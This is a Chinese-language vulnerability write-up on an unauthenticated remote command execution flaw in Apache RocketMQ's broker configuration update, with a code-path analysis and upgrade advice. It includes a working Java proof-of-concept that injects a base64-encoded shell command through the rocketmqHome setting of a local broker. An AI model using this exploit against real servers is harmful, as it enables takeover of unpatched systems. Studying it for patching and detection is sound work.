1.漏洞描述

RocketMQ是一个分布式消息和流数据平台具有延迟高性能、高可靠性、万亿级容量和灵活的可扩展性

Apache RocketMQ此漏洞一个远程命令执行漏洞。RocketMQ的NameServer、Broker、Controller等多个组件缺乏权限验证攻击者可以利用漏洞利用更新配置功能以RocketMQ运行系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果

2.影响版本

Apache RocketMQ <= 5.1.0 Apache RocketMQ <= 4.9.5

3.影响范围

4.漏洞分析

函数 org.apache.rocketmq.broker.filtersrv.FilterServerManager 61行

调用下面的 createFilterServer 方法,71行中看到配置文件获取参数。72行调用方法 buildStartCommand

该方法中取到变量 NamesrvAddr 和 RocketmqHome ,获取之后进行拼接cmd,在72行拿到拼接后的 cmd

进入for循环后在 org.apache.rocketmq.broker.filtersrv.FilterServerUtil 中给的 callshell 方法去执行命令

中间件本来就是每30秒执行一次,漏洞产生的就是修改了配置文件变量赋值为了恶意命令,导致了命令执行。

Pocimport org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
import java.util.Properties;
public class EXP {
    public static void main(String[]args) throws Exception{
        // 创建 Properties 对象
        Properties props = new Properties();
        props.setProperty("rocketmqHome","-c {echo,dG91Y2ggL3RtcC9mbGFn}|{base64,-d}|bash -c");
        props.setProperty("filterServerNums","1");
        // 创建 DefaultMQAdminExt 对象启动
        DefaultMQAdminExt admin = new DefaultMQAdminExt();
        admin.setNamesrvAddr("127.0.0.1:9876");
        admin.start();
        // 更新配置⽂件
        admin.updateBrokerConfig("127.0.0.1:10911", props);
        Properties brokerConfig = admin.getBrokerConfig("127.0.0.1:10911");
        System.out.println(brokerConfig.getProperty("rocketmqHome"));
        System.out.println(brokerConfig.getProperty("filterServerNums"));
        // 关闭 DefaultMQAdminExt 对象
        admin.shutdown();
        }
}

5.修复建议

厂商发布漏洞修复程序建议用户升级如下版本:

Apache RocketMQ 5.1.1

Apache RocketMQ 4.9.6

官方下载地址https://rocketmq.apache.org/zh/download

原文地址:https://blog.csdn.net/xuandaoren/article/details/134443634

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任

如若转载,请注明出处:http://www.7code.cn/show_20448.html

如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱suwngjj01@126.com进行投诉反馈,一经查实,立即删除

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注